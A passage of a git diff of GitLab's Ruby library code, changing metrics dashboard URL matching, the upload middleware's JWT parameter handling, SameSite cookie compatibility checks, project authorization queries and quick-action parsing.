+ @dashboard_hash.default_proc = -> (h, k) { raise Transformers::Errors::MissingAttribute, k.to_s }
+ end
+
+ def execute
+ prometheus_metrics = []
+
+ dashboard_hash[:panel_groups].each do |panel_group|
+ panel_group[:panels].each do |panel|
+ panel[:metrics].each do |metric|
+ prometheus_metrics << {
+ project: project,
+ title: panel[:title],
+ y_label: panel[:y_label],
+ query: metric[:query_range] || metric[:query],
+ unit: metric[:unit],
+ legend: metric[:label],
+ identifier: metric[:id],
+ group: Enums::PrometheusMetric.groups[:custom],
+ common: false,
+ dashboard_path: dashboard_path
+ }.compact
+ end
+ end
+ end
+
+ prometheus_metrics
+ end
+
+ private
+
+ attr_reader :dashboard_hash, :project, :dashboard_path
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/metrics/dashboard/url.rb b/lib/gitlab/metrics/dashboard/url.rb
index 160ecfb85c9..6dcc73c0f6a 100644
--- a/lib/gitlab/metrics/dashboard/url.rb
+++ b/lib/gitlab/metrics/dashboard/url.rb
@@ -10,20 +10,23 @@ module Gitlab
QUERY_PATTERN = '(?<query>\?[a-zA-Z0-9%.()+_=-]+(&[a-zA-Z0-9%.()+_=-]+)*)?'
ANCHOR_PATTERN = '(?<anchor>\#[a-z0-9_-]+)?'
- OPTIONAL_DASH_PATTERN = '(?:/-)?'
+ DASH_PATTERN = '(?:/-)'
- # Matches urls for a metrics dashboard. This could be
- # either the /metrics endpoint or the /metrics_dashboard
- # endpoint.
+ # Matches urls for a metrics dashboard.
+ # This regex needs to match the old metrics URL, the new metrics URL,
+ # and the dashboard URL (inline_metrics_redactor_filter.rb
+ # uses this regex to match against the dashboard URL.)
#
- # EX - https://<host>/<namespace>/<project>/environments/<env_id>/metrics
+ # EX - Old URL: https://<host>/<namespace>/<project>/environments/<env_id>/metrics
+ # OR
+ # New URL: https://<host>/<namespace>/<project>/-/metrics?environment=<env_id>
+ # OR
+ # dashboard URL: https://<host>/<namespace>/<project>/environments/<env_id>/metrics_dashboard
def metrics_regex
strong_memoize(:metrics_regex) do
regex_for_project_metrics(
%r{
- /environments
- /(?<environment>\d+)
- /(metrics_dashboard|metrics)
+ ( #{environment_metrics_regex} ) | ( #{non_environment_metrics_regex} )
}x
)
end
@@ -36,6 +39,7 @@ module Gitlab
strong_memoize(:grafana_regex) do
regex_for_project_metrics(
%r{
+ #{DASH_PATTERN}?
/grafana
/metrics_dashboard
}x
@@ -44,16 +48,22 @@ module Gitlab
end
# Matches dashboard urls for a metric chart embed
- # for cluster metrics
+ # for cluster metrics.
+ # This regex needs to match the dashboard URL as well, not just the trigger URL.
+ # The inline_metrics_redactor_filter.rb uses this regex to match against
+ # the dashboard URL.
#
# EX - https://<host>/<namespace>/<project>/-/clusters/<cluster_id>/?group=Cluster%20Health&title=Memory%20Usage&y_label=Memory%20(GiB)
+ # dashboard URL - https://<host>/<namespace>/<project>/-/clusters/<cluster_id>/metrics_dashboard?group=Cluster%20Health&title=Memory%20Usage&y_label=Memory%20(GiB)
def clusters_regex
strong_memoize(:clusters_regex) do
regex_for_project_metrics(
%r{
+ #{DASH_PATTERN}?
/clusters
/(?<cluster_id>\d+)
/?
+ ( (/metrics) | ( /metrics_dashboard\.json ) )?
}x
)
end
@@ -67,10 +77,11 @@ module Gitlab
strong_memoize(:alert_regex) do
regex_for_project_metrics(
%r{
+ #{DASH_PATTERN}?
/prometheus
/alerts
/(?<alert>\d+)
- /metrics_dashboard
+ /metrics_dashboard(\.json)?
}x
)
end
@@ -95,16 +106,37 @@ module Gitlab
private
+ def environment_metrics_regex
+ %r{
+ #{DASH_PATTERN}?
+ /environments
+ /(?<environment>\d+)
+ /(metrics_dashboard|metrics)
+ }x
+ end
+
+ def non_environment_metrics_regex
+ %r{
+ #{DASH_PATTERN}
+ /metrics
+ (?= # Lookahead to ensure there is an environment query param
+ \?
+ .*
+ environment=(?<environment>\d+)
+ .*
+ )
+ }x
+ end
+
def regex_for_project_metrics(path_suffix_pattern)
%r{
- (?<url>
+ ^(?<url>
#{gitlab_host_pattern}
#{project_path_pattern}
- #{OPTIONAL_DASH_PATTERN}
#{path_suffix_pattern}
#{QUERY_PATTERN}
#{ANCHOR_PATTERN}
- )
+ )$
}x
end
diff --git a/lib/gitlab/metrics/dashboard/validator.rb b/lib/gitlab/metrics/dashboard/validator.rb
index 8edd9c397f9..1e8dc059968 100644
--- a/lib/gitlab/metrics/dashboard/validator.rb
+++ b/lib/gitlab/metrics/dashboard/validator.rb
@@ -4,24 +4,22 @@ module Gitlab
module Metrics
module Dashboard
module Validator
- DASHBOARD_SCHEMA_PATH = 'lib/gitlab/metrics/dashboard/validator/schemas/dashboard.json'.freeze
+ DASHBOARD_SCHEMA_PATH = Rails.root.join(*%w[lib gitlab metrics dashboard validator schemas dashboard.json]).freeze
class << self
def validate(content, schema_path = DASHBOARD_SCHEMA_PATH, dashboard_path: nil, project: nil)
- errors = _validate(content, schema_path, dashboard_path: dashboard_path, project: project)
- errors.empty?
+ errors(content, schema_path, dashboard_path: dashboard_path, project: project).empty?
end
def validate!(content, schema_path = DASHBOARD_SCHEMA_PATH, dashboard_path: nil, project: nil)
- errors = _validate(content, schema_path, dashboard_path: dashboard_path, project: project)
+ errors = errors(content, schema_path, dashboard_path: dashboard_path, project: project)
errors.empty? || raise(errors.first)
end
- private
-
- def _validate(content, schema_path, dashboard_path: nil, project: nil)
- client = Validator::Client.new(content, schema_path, dashboard_path: dashboard_path, project: project)
- client.execute
+ def errors(content, schema_path = DASHBOARD_SCHEMA_PATH, dashboard_path: nil, project: nil)
+ Validator::Client
+ .new(content, schema_path, dashboard_path: dashboard_path, project: project)
+ .execute
end
end
end
diff --git a/lib/gitlab/metrics/dashboard/validator/client.rb b/lib/gitlab/metrics/dashboard/validator/client.rb
index c63415abcfc..588c677ca28 100644
--- a/lib/gitlab/metrics/dashboard/validator/client.rb
+++ b/lib/gitlab/metrics/dashboard/validator/client.rb
@@ -46,7 +46,7 @@ module Gitlab
def validate_against_schema
schemer.validate(content).map do |error|
- Errors::SchemaValidationError.new(error)
+ ::Gitlab::Metrics::Dashboard::Validator::Errors::SchemaValidationError.new(error)
end
end
end
diff --git a/lib/gitlab/metrics/dashboard/validator/schemas/panel.json b/lib/gitlab/metrics/dashboard/validator/schemas/panel.json
index 011eef53e40..2ae9608036e 100644
--- a/lib/gitlab/metrics/dashboard/validator/schemas/panel.json
+++ b/lib/gitlab/metrics/dashboard/validator/schemas/panel.json
@@ -4,7 +4,7 @@
"properties": {
"type": {
"type": "string",
- "enum": ["area-chart", "anomaly-chart", "bar", "column", "stacked-column", "single-stat", "heatmap"],
+ "enum": ["area-chart", "line-chart", "anomaly-chart", "bar", "column", "stacked-column", "single-stat", "heatmap", "gauge"],
"default": "area-chart"
},
"title": { "type": "string" },
diff --git a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
index 054b4949dd6..36262b09b2d 100644
--- a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
+++ b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
@@ -12,7 +12,11 @@ module Gitlab
end
def log_filename
- File.join(Rails.root, 'log', 'sidekiq_exporter.log')
+ if settings['log_enabled']
+ File.join(Rails.root, 'log', 'sidekiq_exporter.log')
+ else
+ File::NULL
+ end
end
private
diff --git a/lib/gitlab/metrics/instrumentation.rb b/lib/gitlab/metrics/instrumentation.rb
index ff3fffe7b95..66361529546 100644
--- a/lib/gitlab/metrics/instrumentation.rb
+++ b/lib/gitlab/metrics/instrumentation.rb
@@ -120,9 +120,6 @@ module Gitlab
def self.instrument(type, mod, name)
return unless ::Gitlab::Metrics.enabled?
- name = name.to_sym
- target = type == :instance ? mod : mod.singleton_class
-
if type == :instance
target = mod
method_name = "##{name}"
@@ -154,6 +151,8 @@ module Gitlab
'*args'
end
+ method_visibility = method_visibility_for(target, name)
+
proxy_module.class_eval <<-EOF, __FILE__, __LINE__ + 1
def #{name}(#{args_signature})
if trans = Gitlab::Metrics::Instrumentation.transaction
@@ -163,11 +162,23 @@ module Gitlab
super
end
end
+ #{method_visibility} :#{name}
EOF
target.prepend(proxy_module)
end
+ def self.method_visibility_for(mod, name)
+ if mod.private_method_defined?(name)
+ :private
+ elsif mod.protected_method_defined?(name)
+ :protected
+ else
+ :public
+ end
+ end
+ private_class_method :method_visibility_for
+
# Small layer of indirection to make it easier to stub out the current
# transaction.
def self.transaction
diff --git a/lib/gitlab/metrics/methods.rb b/lib/gitlab/metrics/methods.rb
index 2b5d1c710f6..3100450bc00 100644
--- a/lib/gitlab/metrics/methods.rb
+++ b/lib/gitlab/metrics/methods.rb
@@ -52,7 +52,7 @@ module Gitlab
end
def disabled_by_feature(options)
- options.with_feature && !::Feature.enabled?(options.with_feature)
+ options.with_feature && !::Feature.enabled?(options.with_feature, type: :ops)
end
def build_metric!(type, name, options)
diff --git a/lib/gitlab/metrics/samplers/action_cable_sampler.rb b/lib/gitlab/metrics/samplers/action_cable_sampler.rb
new file mode 100644
index 00000000000..9f4979fa673
--- /dev/null
+++ b/lib/gitlab/metrics/samplers/action_cable_sampler.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Samplers
+ class ActionCableSampler < BaseSampler
+ SAMPLING_INTERVAL_SECONDS = 5
+
+ def initialize(interval = SAMPLING_INTERVAL_SECONDS, action_cable: ::ActionCable.server)
+ super(interval)
+ @action_cable = action_cable
+ end
+
+ def metrics
+ @metrics ||= {
+ active_connections: ::Gitlab::Metrics.gauge(
+ :action_cable_active_connections, 'Number of ActionCable WS clients currently connected'
+ ),
+ pool_min_size: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_min_size, 'Minimum number of worker threads in ActionCable thread pool'
+ ),
+ pool_max_size: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_max_size, 'Maximum number of worker threads in ActionCable thread pool'
+ ),
+ pool_current_size: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_current_size, 'Current number of worker threads in ActionCable thread pool'
+ ),
+ pool_largest_size: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_largest_size, 'Largest number of worker threads observed so far in ActionCable thread pool'
+ ),
+ pool_completed_tasks: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_tasks_total, 'Total number of tasks executed in ActionCable thread pool'
+ ),
+ pool_pending_tasks: ::Gitlab::Metrics.gauge(
+ :action_cable_pool_pending_tasks, 'Number of tasks waiting to be executed in ActionCable thread pool'
+ )
+ }
+ end
+
+ def sample
+ pool = @action_cable.worker_pool.executor
+ labels = {
+ server_mode: server_mode
+ }
+
+ metrics[:active_connections].set(labels, @action_cable.connections.size)
+ metrics[:pool_min_size].set(labels, pool.min_length)
+ metrics[:pool_max_size].set(labels, pool.max_length)
+ metrics[:pool_current_size].set(labels, pool.length)
+ metrics[:pool_largest_size].set(labels, pool.largest_length)
+ metrics[:pool_completed_tasks].set(labels, pool.completed_task_count)
+ metrics[:pool_pending_tasks].set(labels, pool.queue_length)
+ end
+
+ private
+
+ def server_mode
+ Gitlab::ActionCable::Config.in_app? ? 'in-app' : 'standalone'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/metrics/samplers/base_sampler.rb b/lib/gitlab/metrics/samplers/base_sampler.rb
index ff3e7be567f..39a49187e45 100644
--- a/lib/gitlab/metrics/samplers/base_sampler.rb
+++ b/lib/gitlab/metrics/samplers/base_sampler.rb
@@ -21,7 +21,7 @@ module Gitlab
def safe_sample
sample
rescue => e
- Rails.logger.warn("#{self.class}: #{e}, stopping") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("#{self.class}: #{e}, stopping")
stop
end
diff --git a/lib/gitlab/metrics/samplers/puma_sampler.rb b/lib/gitlab/metrics/samplers/puma_sampler.rb
index b5343d5e66a..d295beb59f1 100644
--- a/lib/gitlab/metrics/samplers/puma_sampler.rb
+++ b/lib/gitlab/metrics/samplers/puma_sampler.rb
@@ -42,7 +42,7 @@ module Gitlab
def puma_stats
Puma.stats
rescue NoMethodError
- Rails.logger.info "PumaSampler: stats are not available yet, waiting for Puma to boot" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info "PumaSampler: stats are not available yet, waiting for Puma to boot"
nil
end
diff --git a/lib/gitlab/middleware/multipart.rb b/lib/gitlab/middleware/multipart.rb
index c0b671abd44..8e6ac7610f2 100644
--- a/lib/gitlab/middleware/multipart.rb
+++ b/lib/gitlab/middleware/multipart.rb
@@ -29,6 +29,8 @@ module Gitlab
module Middleware
class Multipart
RACK_ENV_KEY = 'HTTP_GITLAB_WORKHORSE_MULTIPART_FIELDS'
+ JWT_PARAM_SUFFIX = '.gitlab-workhorse-upload'
+ JWT_PARAM_FIXED_KEY = 'upload'
class Handler
def initialize(env, message)
@@ -57,7 +59,8 @@ module Gitlab
yield
ensure
- @open_files.each(&:close)
+ @open_files.compact
+ .each(&:close)
end
# This function calls itself recursively
@@ -122,15 +125,89 @@ module Gitlab
def allowed_paths
[
+ Dir.tmpdir,
::FileUploader.root,
- Gitlab.config.uploads.storage_path,
- JobArtifactUploader.workhorse_upload_path,
- LfsObjectUploader.workhorse_upload_path,
+ ::Gitlab.config.uploads.storage_path,
+ ::JobArtifactUploader.workhorse_upload_path,
+ ::LfsObjectUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
] + package_allowed_paths
end
end
+ # TODO this class is meant to replace Handler when the feature flag
+ # upload_middleware_jwt_params_handler is removed
+ class HandlerForJWTParams < Handler
+ def with_open_files
+ @rewritten_fields.keys.each do |field|
+ parsed_field = Rack::Utils.parse_nested_query(field)
+ raise "unexpected field: #{field.inspect}" unless parsed_field.count == 1
+
+ key, value = parsed_field.first
+ if value.nil? # we have a top level param, eg. field = 'foo' and not 'foo[bar]'
+ raise "invalid field: #{field.inspect}" if field != key
+
+ value = open_file(extract_upload_params_from(@request.params, with_prefix: key))
+ @open_files << value
+ else
+ value = decorate_params_value(value, @request.params[key])
+ end
+
+ update_param(key, value)
+ end
+
+ yield
+ ensure
+ @open_files.compact
+ .each(&:close)
+ end
+
+ # This function calls itself recursively
+ def decorate_params_value(hash_path, value_hash)
+ unless hash_path.is_a?(Hash) && hash_path.count == 1
+ raise "invalid path: #{hash_path.inspect}"
+ end
+
+ path_key, path_value = hash_path.first
+
+ unless value_hash.is_a?(Hash) && value_hash[path_key]
+ raise "invalid value hash: #{value_hash.inspect}"
+ end
+
+ case path_value
+ when nil
+ value_hash[path_key] = open_file(extract_upload_params_from(value_hash[path_key]))
+ @open_files << value_hash[path_key]
+ value_hash
+ when Hash
+ decorate_params_value(path_value, value_hash[path_key])
+ value_hash
+ else
+ raise "unexpected path value: #{path_value.inspect}"
+ end
+ end
+
+ def open_file(params)
+ ::UploadedFile.from_params_without_field(params, allowed_paths)
+ end
+
+ private
+
+ def extract_upload_params_from(params, with_prefix: '')
+ param_key = "#{with_prefix}#{JWT_PARAM_SUFFIX}"
+ jwt_token = params[param_key]
+ raise "Empty JWT param: #{param_key}" if jwt_token.blank?
+
+ payload = Gitlab::Workhorse.decode_jwt(jwt_token).first
+ raise "Invalid JWT payload: not a Hash" unless payload.is_a?(Hash)
+
+ upload_params = payload.fetch(JWT_PARAM_FIXED_KEY, {})
+ raise "Empty params for: #{param_key}" if upload_params.empty?
+
+ upload_params
+ end
+ end
+
def initialize(app)
@app = app
end
@@ -139,14 +216,24 @@ module Gitlab
encoded_message = env.delete(RACK_ENV_KEY)
return @app.call(env) if encoded_message.blank?
- message = Gitlab::Workhorse.decode_jwt(encoded_message)[0]
+ message = ::Gitlab::Workhorse.decode_jwt(encoded_message)[0]
- Handler.new(env, message).with_open_files do
+ handler_class.new(env, message).with_open_files do
@app.call(env)
end
rescue UploadedFile::InvalidPathError => e
[400, { 'Content-Type' => 'text/plain' }, e.message]
end
+
+ private
+
+ def handler_class
+ if Feature.enabled?(:upload_middleware_jwt_params_handler)
+ ::Gitlab::Middleware::Multipart::HandlerForJWTParams
+ else
+ ::Gitlab::Middleware::Multipart::Handler
+ end
+ end
end
end
end
diff --git a/lib/gitlab/middleware/read_only/controller.rb b/lib/gitlab/middleware/read_only/controller.rb
index 6573506e926..cfea4aaddf3 100644
--- a/lib/gitlab/middleware/read_only/controller.rb
+++ b/lib/gitlab/middleware/read_only/controller.rb
@@ -36,7 +36,7 @@ module Gitlab
def call
if disallowed_request? && Gitlab::Database.read_only?
- Rails.logger.debug('GitLab ReadOnly: preventing possible non read-only operation') # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.debug('GitLab ReadOnly: preventing possible non read-only operation')
if json_request?
return [403, { 'Content-Type' => APPLICATION_JSON }, [{ 'message' => ERROR_MESSAGE }.to_json]]
diff --git a/lib/gitlab/middleware/same_site_cookies.rb b/lib/gitlab/middleware/same_site_cookies.rb
index 45968035e79..37ccc5abb10 100644
--- a/lib/gitlab/middleware/same_site_cookies.rb
+++ b/lib/gitlab/middleware/same_site_cookies.rb
@@ -30,6 +30,7 @@ module Gitlab
set_cookie = headers['Set-Cookie']&.strip
return result if set_cookie.blank? || !ssl?
+ return result if same_site_none_incompatible?(env['HTTP_USER_AGENT'])
cookies = set_cookie.split(COOKIE_SEPARATOR)
@@ -39,11 +40,11 @@ module Gitlab
# Chrome will drop SameSite=None cookies without the Secure
# flag. If we remove this middleware, we may need to ensure
# that all cookies set this flag.
- if ssl? && !(cookie =~ /;\s*secure/i)
+ unless SECURE_REGEX.match?(cookie)
cookie << '; Secure'
end
- unless cookie =~ /;\s*samesite=/i
+ unless SAME_SITE_REGEX.match?(cookie)
cookie << '; SameSite=None'
end
end
@@ -55,9 +56,93 @@ module Gitlab
private
+ # Taken from https://www.chromium.org/updates/same-site/incompatible-clients
+ # We use RE2 instead of the browser gem for performance.
+ IOS_REGEX = RE2('\(iP.+; CPU .*OS (\d+)[_\d]*.*\) AppleWebKit\/')
+ MACOS_REGEX = RE2('\(Macintosh;.*Mac OS X (\d+)_(\d+)[_\d]*.*\) AppleWebKit\/')
+ SAFARI_REGEX = RE2('Version\/.* Safari\/')
+ CHROMIUM_REGEX = RE2('Chrom(e|ium)')
+ CHROMIUM_VERSION_REGEX = RE2('Chrom[^ \/]+\/(\d+)')
+ UC_BROWSER_REGEX = RE2('UCBrowser\/')
+ UC_BROWSER_VERSION_REGEX = RE2('UCBrowser\/(\d+)\.(\d+)\.(\d+)')
+
+ SECURE_REGEX = RE2(';\s*secure', case_sensitive: false)
+ SAME_SITE_REGEX = RE2(';\s*samesite=', case_sensitive: false)
+
def ssl?
Gitlab.config.gitlab.https
end
+
+ def same_site_none_incompatible?(user_agent)
+ return false if user_agent.blank?
+
+ has_webkit_same_site_bug?(user_agent) || drops_unrecognized_same_site_cookies?(user_agent)
+ end
+
+ def has_webkit_same_site_bug?(user_agent)
+ ios_version?(12, user_agent) ||
+ (macos_version?(10, 14, user_agent) && safari?(user_agent))
+ end
+
+ def drops_unrecognized_same_site_cookies?(user_agent)
+ if uc_browser?(user_agent)
+ return !uc_browser_version_at_least?(12, 13, 2, user_agent)
+ end
+
+ chromium_based?(user_agent) && chromium_version_between?(51, 66, user_agent)
+ end
+
+ def ios_version?(major, user_agent)
+ m = IOS_REGEX.match(user_agent)
+
+ return false if m.nil?
+
+ m[1].to_i == major
+ end
+
+ def macos_version?(major, minor, user_agent)
+ m = MACOS_REGEX.match(user_agent)
+
+ return false if m.nil?
+
+ m[1].to_i == major && m[2].to_i == minor
+ end
+
+ def safari?(user_agent)
+ SAFARI_REGEX.match?(user_agent)
+ end
+
+ def chromium_based?(user_agent)
+ CHROMIUM_REGEX.match?(user_agent)
+ end
+
+ def chromium_version_between?(from_major, to_major, user_agent)
+ m = CHROMIUM_VERSION_REGEX.match(user_agent)
+
+ return false if m.nil?
+
+ version = m[1].to_i
+ version >= from_major && version <= to_major
+ end
+
+ def uc_browser?(user_agent)
+ UC_BROWSER_REGEX.match?(user_agent)
+ end
+
+ def uc_browser_version_at_least?(major, minor, build, user_agent)
+ m = UC_BROWSER_VERSION_REGEX.match(user_agent)
+
+ return false if m.nil?
+
+ major_version = m[1].to_i
+ minor_version = m[2].to_i
+ build_version = m[3].to_i
+
+ return major_version > major if major_version != major
+ return minor_version > minor if minor_version != minor
+
+ build_version >= build
+ end
end
end
end
diff --git a/lib/gitlab/object_hierarchy.rb b/lib/gitlab/object_hierarchy.rb
index 41d80fe9aa6..e18b6d003e0 100644
--- a/lib/gitlab/object_hierarchy.rb
+++ b/lib/gitlab/object_hierarchy.rb
@@ -7,18 +7,19 @@ module Gitlab
class ObjectHierarchy
DEPTH_COLUMN = :depth
- attr_reader :ancestors_base, :descendants_base, :model
+ attr_reader :ancestors_base, :descendants_base, :model, :options
# ancestors_base - An instance of ActiveRecord::Relation for which to
# get parent objects.
# descendants_base - An instance of ActiveRecord::Relation for which to
# get child objects. If omitted, ancestors_base is used.
- def initialize(ancestors_base, descendants_base = ancestors_base)
+ def initialize(ancestors_base, descendants_base = ancestors_base, options: {})
raise ArgumentError.new("Model of ancestors_base does not match model of descendants_base") if ancestors_base.model != descendants_base.model
@ancestors_base = ancestors_base
@descendants_base = descendants_base
@model = ancestors_base.model
+ @options = options
end
# Returns the set of descendants of a given relation, but excluding the given
@@ -133,8 +134,8 @@ module Gitlab
# Recursively get all the ancestors of the base set.
parent_query = model
- .from([objects_table, cte.table])
- .where(objects_table[:id].eq(cte.table[:parent_id]))
+ .from(from_tables(cte))
+ .where(ancestor_conditions(cte))
.except(:order)
if hierarchy_order
@@ -148,7 +149,7 @@ module Gitlab
).where(cte.table[:tree_cycle].eq(false))
end
- parent_query = parent_query.where(cte.table[:parent_id].not_eq(stop_id)) if stop_id
+ parent_query = parent_query.where(parent_id_column(cte).not_eq(stop_id)) if stop_id
cte << parent_query
cte
@@ -166,8 +167,8 @@ module Gitlab
# Recursively get all the descendants of the base set.
descendants_query = model
- .from([objects_table, cte.table])
- .where(objects_table[:parent_id].eq(cte.table[:id]))
+ .from(from_tables(cte))
+ .where(descendant_conditions(cte))
.except(:order)
if with_depth
@@ -190,6 +191,22 @@ module Gitlab
model.arel_table
end
+ def parent_id_column(cte)
+ cte.table[:parent_id]
+ end
+
+ def from_tables(cte)
+ [objects_table, cte.table]
+ end
+
+ def ancestor_conditions(cte)
+ objects_table[:id].eq(cte.table[:parent_id])
+ end
+
+ def descendant_conditions(cte)
+ objects_table[:parent_id].eq(cte.table[:id])
+ end
+
def read_only(relation)
# relations using a CTE are not safe to use with update_all as it will
# throw away the CTE, hence we mark them as read-only.
diff --git a/lib/gitlab/pages/settings.rb b/lib/gitlab/pages/settings.rb
index e3dbeee7b13..8650a80a85e 100644
--- a/lib/gitlab/pages/settings.rb
+++ b/lib/gitlab/pages/settings.rb
@@ -6,12 +6,8 @@ module Gitlab
DiskAccessDenied = Class.new(StandardError)
def path
- if ::Gitlab::Runtime.web_server? && ENV['GITLAB_PAGES_DENY_DISK_ACCESS'] == '1'
- begin
- raise DiskAccessDenied
- rescue DiskAccessDenied => ex
- ::Gitlab::ErrorTracking.track_exception(ex)
- end
+ if ::Gitlab::Runtime.web_server? && !::Gitlab::Runtime.test_suite?
+ raise DiskAccessDenied
end
super
diff --git a/lib/gitlab/pages_transfer.rb b/lib/gitlab/pages_transfer.rb
index a70dc826f97..8ae0ec5a78a 100644
--- a/lib/gitlab/pages_transfer.rb
+++ b/lib/gitlab/pages_transfer.rb
@@ -1,7 +1,26 @@
# frozen_string_literal: true
+# To make a call happen in a new Sidekiq job, add `.async` before the call. For
+# instance:
+#
+# PagesTransfer.new.async.move_namespace(...)
+#
module Gitlab
class PagesTransfer < ProjectTransfer
+ class Async
+ METHODS = %w[move_namespace move_project rename_project rename_namespace].freeze
+
+ METHODS.each do |meth|
+ define_method meth do |*args|
+ PagesTransferWorker.perform_async(meth, args)
+ end
+ end
+ end
+
+ def async
+ @async ||= Async.new
+ end
+
def root_dir
Gitlab.config.pages.path
end
diff --git a/lib/gitlab/project_authorizations.rb b/lib/gitlab/project_authorizations.rb
index ff90a009b2e..23e380b3cf1 100644
--- a/lib/gitlab/project_authorizations.rb
+++ b/lib/gitlab/project_authorizations.rb
@@ -99,6 +99,7 @@ module Gitlab
.and(members[:source_type].eq('Namespace'))
.and(members[:requested_at].eq(nil))
.and(members[:user_id].eq(user.id))
+ .and(members[:access_level].gt(Gitlab::Access::MINIMAL_ACCESS))
Arel::Nodes::OuterJoin.new(members, Arel::Nodes::On.new(cond))
end
@@ -119,6 +120,7 @@ module Gitlab
.and(members[:source_type].eq('Namespace'))
.and(members[:requested_at].eq(nil))
.and(members[:user_id].eq(user.id))
+ .and(members[:access_level].gt(Gitlab::Access::MINIMAL_ACCESS))
Arel::Nodes::InnerJoin.new(members, Arel::Nodes::On.new(cond))
end
diff --git a/lib/gitlab/project_search_results.rb b/lib/gitlab/project_search_results.rb
index f8141278e48..ded8d4ade3f 100644
--- a/lib/gitlab/project_search_results.rb
+++ b/lib/gitlab/project_search_results.rb
@@ -4,11 +4,11 @@ module Gitlab
class ProjectSearchResults < SearchResults
attr_reader :project, :repository_ref
- def initialize(current_user, project, query, repository_ref = nil)
- @current_user = current_user
+ def initialize(current_user, query, project:, repository_ref: nil, filters: {})
@project = project
@repository_ref = repository_ref.presence
- @query = query
+
+ super(current_user, query, [project], filters: filters)
end
def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, preload_method: nil)
diff --git a/lib/gitlab/prometheus/internal.rb b/lib/gitlab/prometheus/internal.rb
index d59352119ba..c2f4035821e 100644
--- a/lib/gitlab/prometheus/internal.rb
+++ b/lib/gitlab/prometheus/internal.rb
@@ -25,6 +25,10 @@ module Gitlab
end
end
+ def self.server_address
+ uri&.strip&.sub(/^http[s]?:\/\//, '')
+ end
+
def self.listen_address
Gitlab.config.prometheus.listen_address.to_s if Gitlab.config.prometheus
rescue Settingslogic::MissingSetting
diff --git a/lib/gitlab/prometheus_client.rb b/lib/gitlab/prometheus_client.rb
index 56e1154a672..965349ad711 100644
--- a/lib/gitlab/prometheus_client.rb
+++ b/lib/gitlab/prometheus_client.rb
@@ -42,6 +42,15 @@ module Gitlab
response_body == HEALTHY_RESPONSE
end
+ def ready?
+ response = get(ready_url, {})
+
+ # From Prometheus docs: This endpoint returns 200 when Prometheus is ready to serve traffic (i.e. respond to queries).
+ response.code == 200
+ rescue => e
+ raise PrometheusClient::UnexpectedResponseError, "#{e.message}"
+ end
+
def proxy(type, args)
path = api_path(type)
get(path, args)
@@ -103,7 +112,11 @@ module Gitlab
end
def health_url
- [api_url, '-/healthy'].join('/')
+ "#{api_url}/-/healthy"
+ end
+
+ def ready_url
+ "#{api_url}/-/ready"
end
private
diff --git a/lib/gitlab/quick_actions/extractor.rb b/lib/gitlab/quick_actions/extractor.rb
index cd07122ffd9..dd7a27ead01 100644
--- a/lib/gitlab/quick_actions/extractor.rb
+++ b/lib/gitlab/quick_actions/extractor.rb
@@ -9,6 +9,62 @@ module Gitlab
# extractor = Gitlab::QuickActions::Extractor.new([:open, :assign, :labels])
# ```
class Extractor
+ CODE_REGEX = %r{
+ (?<code>
+ # Code blocks:
+ # ```
+ # Anything, including `/cmd arg` which are ignored by this filter
+ # ```
+
+ ^```
+ .+?
+ \n```$
+ )
+ }mix.freeze
+
+ INLINE_CODE_REGEX = %r{
+ (?<inline_code>
+ # Inline code on separate rows:
+ # `
+ # Anything, including `/cmd arg` which are ignored by this filter
+ # `
+
+ ^.*`\n*
+ .+?
+ \n*`$
+ )
+ }mix.freeze
+
+ HTML_BLOCK_REGEX = %r{
+ (?<html>
+ # HTML block:
+ # <tag>
+ # Anything, including `/cmd arg` which are ignored by this filter
+ # </tag>
+
+ ^<[^>]+?>\n
+ .+?
+ \n<\/[^>]+?>$
+ )
+ }mix.freeze
+
+ QUOTE_BLOCK_REGEX = %r{
+ (?<html>
+ # Quote block:
+ # >>>
+ # Anything, including `/cmd arg` which are ignored by this filter
+ # >>>
+
+ ^>>>
+ .+?
+ \n>>>$
+ )
+ }mix.freeze
+
+ EXCLUSION_REGEX = %r{
+ #{CODE_REGEX} | #{INLINE_CODE_REGEX} | #{HTML_BLOCK_REGEX} | #{QUOTE_BLOCK_REGEX}
+ }mix.freeze
+
attr_reader :command_definitions
def initialize(command_definitions)
@@ -35,9 +91,7 @@ module Gitlab
def extract_commands(content, only: nil)
return [content, []] unless content
- content, commands = perform_regex(content, only: only)
-
- perform_substitutions(content, commands)
+ perform_regex(content, only: only)
end
# Encloses quick action commands into code span markdown
@@ -55,13 +109,19 @@ module Gitlab
private
def perform_regex(content, only: nil, redact: false)
- commands = []
- content = content.dup
+ names = command_names(limit_to_commands: only).map(&:to_s)
+ sub_names = substitution_names.map(&:to_s)
+ commands = []
+ content = content.dup
content.delete!("\r")
- names = command_names(limit_to_commands: only).map(&:to_s)
- content.gsub!(commands_regex(names: names)) do
- command, output = process_commands($~, redact)
+ content.gsub!(commands_regex(names: names, sub_names: sub_names)) do
+ command, output = if $~[:substitution]
+ process_substitutions($~)
+ else
+ process_commands($~, redact)
+ end
+
commands << command
output
end
@@ -86,6 +146,21 @@ module Gitlab
[command, output]
end
+ def process_substitutions(matched_text)
+ output = matched_text[0]
+ command = []
+
+ if matched_text[:substitution]
+ cmd = matched_text[:substitution].downcase
+ command = [cmd, matched_text[:arg]].reject(&:blank?)
+
+ substitution = substitution_definitions.find { |definition| definition.all_names.include?(cmd.to_sym) }
+ output = substitution.perform_substitution(self, output) if substitution
+ end
+
+ [command, output]
+ end
+
# Builds a regular expression to match known commands.
# First match group captures the command name and
# second match group captures its arguments.
@@ -93,51 +168,9 @@ module Gitlab
